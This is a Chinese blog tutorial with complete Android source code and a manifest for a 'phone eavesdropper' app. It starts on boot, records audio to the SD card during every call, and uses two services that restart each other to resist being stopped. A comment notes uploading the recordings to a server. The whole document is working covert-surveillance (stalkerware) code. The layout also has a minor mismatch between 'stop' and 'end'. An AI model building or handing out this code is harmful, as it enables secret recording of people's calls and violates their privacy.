电话监听器

来源:互联网 发布:疯狂联盟座狼升级数据 编辑:程序博客网 时间:2024/04/30 12:20



步骤:

1.建立项目

2.写广播类和服务类并在清单文件中指定

3.业务逻辑




主activyty:

package com.sqf.phonelistener;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;import android.view.View;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);}/**  电话呼叫所需要的权限READ_PHONE_STATE,不加的错误 Caused by: java.lang.SecurityException: Neither user  10071 nor current process has  android.permission.READ_PHONE_STATE. * */ }



监听手机开启,并开启服务:

package com.sqf.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootReveiver extends BroadcastReceiver {/** * 利用手机的开机的广播,监听 * */@Overridepublic void onReceive(Context context, Intent intent) {Intent i = new Intent(context,SystemService.class);context.startService(i);}}



服务的类:

package com.sqf.phonelistener;import java.io.File;import java.io.IOException;import android.app.Service;import android.content.Intent;import android.content.res.Configuration;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.SignalStrength;import android.telephony.TelephonyManager;public class SystemService extends Service {/** * 电话管理器类 *  You do not instantiate this class directly;  *  instead, you retrieve a reference to an instance through  *  Context.getSystemService(Context.TELEPHONY_SERVICE).  * */private TelephonyManager tm;/** * 监听器对象 * */private MyListener listener;/** * 声明录音机 * */private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent intent) {return null;}/** * 服务创建的时候调用的方法 * */@Overridepublic void onCreate() {//后台监听电话的呼叫状态//的到电话管理器的服务tm = (TelephonyManager) this.getSystemService(this.TELEPHONY_SERVICE);/*   PhoneStateListener的静态变量  LISTEN_DATA_ACTIVITY  流量产生的数据  LISTEN_SIGNAL_STRENGTHS 监听信号的强弱  LISTEN_CALL_STATE   监听呼叫的状态   PhoneStateListener.LISTEN_NONE  取消监听 */listener = new MyListener();tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);//tm.getNetworkOperator();   //获取运营商的编码//tm.getNetworkOperatorName()  //获取应用上的名字//tm.getNetworkType()   获取网络类型  2g,3g,4g,gprs等//tm.getPhoneType()    获取手机支持网络类型//    tm.getSimSerialNumber(); 获取sim卡的序列号//tm.getLine1Number(); //获取手机的电话号码,需要支持simsuper.onCreate();}  /** * 服务销毁的时候调用的方法  * */@Overridepublic void onDestroy() {super.onDestroy();//取消电话的监听tm.listen(listener, PhoneStateListener.LISTEN_NONE);Intent i = new Intent(this,SystemService2.class);startService(i);listener = null;}private class MyListener extends PhoneStateListener{/** * 当电话的呼叫状态变化的时候调用的方法 * */@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);System.out.println("当前电话的状态:"+state);switch (state) {case TelephonyManager.CALL_STATE_IDLE: //没有打接电话,也没有接电话,空闲状态if(mediaRecorder!=null){//8.停止捕获mediaRecorder.stop();//9.释放资源mediaRecorder.release();mediaRecorder = null;System.out.println("录制完毕,上传文件到服务器");}break;case TelephonyManager.CALL_STATE_RINGING://有人给你打电话,响铃状态break;case TelephonyManager.CALL_STATE_OFFHOOK: //  通话状态try {//开始录音//1.实例化一个录音机mediaRecorder = new MediaRecorder();//2.指定录音机的声音源  VOICE_CALL录两方的声音     MIC录自己的声音 ,模拟器支只持MIC,所以升级也一样mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);  //不是MIC这个会报错//3.设置录制的文件输出的格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//4.指定录音文件的名称File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");mediaRecorder.setOutputFile(file.getAbsolutePath());//同一种格式。avi对应多种编码格式//5.设置音频的编码mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//6.准备开始录音mediaRecorder.prepare();//7.开始录音mediaRecorder.start();break;}  catch (Exception e) {e.printStackTrace();}default:break;}}/** * 当数据变化 * */@Overridepublic void onDataActivity(int direction) {// TODO Auto-generated method stubsuper.onDataActivity(direction);}/** * 当信号变化的时候 * */@Overridepublic void onSignalStrengthsChanged(SignalStrength signalStrength) {// TODO Auto-generated method stubsuper.onSignalStrengthsChanged(signalStrength);}}}


package com.sqf.phonelistener;import java.io.File;import java.io.IOException;import android.app.Service;import android.content.Intent;import android.content.res.Configuration;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.SignalStrength;import android.telephony.TelephonyManager;public class SystemService2 extends Service {/** * 电话管理器类 *  You do not instantiate this class directly;  *  instead, you retrieve a reference to an instance through  *  Context.getSystemService(Context.TELEPHONY_SERVICE).  * */private TelephonyManager tm;/** * 监听器对象 * */private MyListener listener;/** * 声明录音机 * */private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent intent) {return null;}/** * 服务创建的时候调用的方法 * */@Overridepublic void onCreate() {//后台监听电话的呼叫状态//的到电话管理器的服务tm = (TelephonyManager) this.getSystemService(this.TELEPHONY_SERVICE);/*   PhoneStateListener的静态变量  LISTEN_DATA_ACTIVITY  流量产生的数据  LISTEN_SIGNAL_STRENGTHS 监听信号的强弱  LISTEN_CALL_STATE   监听呼叫的状态   PhoneStateListener.LISTEN_NONE  取消监听 */listener = new MyListener();tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);//tm.getNetworkOperator();   //获取运营商的编码//tm.getNetworkOperatorName()  //获取应用上的名字//tm.getNetworkType()   获取网络类型  2g,3g,4g,gprs等//tm.getPhoneType()    获取手机支持网络类型//    tm.getSimSerialNumber(); 获取sim卡的序列号//tm.getLine1Number(); //获取手机的电话号码,需要支持simsuper.onCreate();}  /** * 服务销毁的时候调用的方法  * */@Overridepublic void onDestroy() {super.onDestroy();//取消电话的监听tm.listen(listener, PhoneStateListener.LISTEN_NONE);//取消电话的监听Intent i = new Intent(this,SystemService.class);startService(i);listener = null;}private class MyListener extends PhoneStateListener{/** * 当电话的呼叫状态变化的时候调用的方法 * */@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);System.out.println("当前电话的状态:"+state);switch (state) {case TelephonyManager.CALL_STATE_IDLE: //没有打接电话,也没有接电话,空闲状态if(mediaRecorder!=null){//8.停止捕获mediaRecorder.stop();//9.释放资源mediaRecorder.release();mediaRecorder = null;System.out.println("录制完毕,上传文件到服务器");}break;case TelephonyManager.CALL_STATE_RINGING://有人给你打电话,响铃状态break;case TelephonyManager.CALL_STATE_OFFHOOK: //  通话状态try {//开始录音//1.实例化一个录音机mediaRecorder = new MediaRecorder();//2.指定录音机的声音源  VOICE_CALL录两方的声音     MIC录自己的声音 ,模拟器支只持MIC,所以升级也一样mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);  //不是MIC这个会报错//3.设置录制的文件输出的格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//4.指定录音文件的名称File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");mediaRecorder.setOutputFile(file.getAbsolutePath());//同一种格式。avi对应多种编码格式//5.设置音频的编码mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//6.准备开始录音mediaRecorder.prepare();//7.开始录音mediaRecorder.start();break;}  catch (Exception e) {e.printStackTrace();}default:break;}}/** * 当数据变化 * */@Overridepublic void onDataActivity(int direction) {super.onDataActivity(direction);}/** * 当信号变化的时候 * */@Overridepublic void onSignalStrengthsChanged(SignalStrength signalStrength) {// TODO Auto-generated method stubsuper.onSignalStrengthsChanged(signalStrength);}}}





清单文件:

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.sqf.phonelistener"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="14"        android:targetSdkVersion="17" />    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>   <!-- <span style="font-family: Arial, Helvetica, sans-serif;">电话呼叫所需要的权限</span>--><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <!-- 录音存储到内存卡的写权限 -->    <uses-permission android:name="android.permission.RECORD_AUDIO" />        <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <activity            android:name=".MainActivity"            android:label="@string/app_name" >            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>                <service android:name="com.sqf.phonelistener.SystemService"></service>        <service android:name="com.sqf.phonelistener.SystemService2"></service>             <receiver android:name="com.sqf.phonelistener.BootReveiver">            <intent-filter >                <action android:name="android.intent.action.BOOT_COMPLETED"/>  <!-- 广播监听手机的开机  -->            </intent-filter>        </receiver>    </application></manifest>






方法2. 其他和方法1的类一样,方法1比较好

activity_main.xml

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"     android:orientation="vertical" >    <Button        android:onClick="start"        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:text="开始监听" />         <Button         android:onClick="stop"        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:text="停止监听" /></LinearLayout>

package com.sqf.phonelistener;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.Menu;import android.view.MenuItem;import android.view.View;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);}/**  电话呼叫所需要的权限READ_PHONE_STATE,不加的错误 Caused by: java.lang.SecurityException: Neither user  10071 nor current process has  android.permission.READ_PHONE_STATE. * */public void start(View v){//开启服务Intent intent = new Intent(this,SystemService.class);startService(intent);}public void end(View v){//停止服务Intent intent = new Intent(this,SystemService.class);stopService(intent);}}







1 0
原创粉丝点击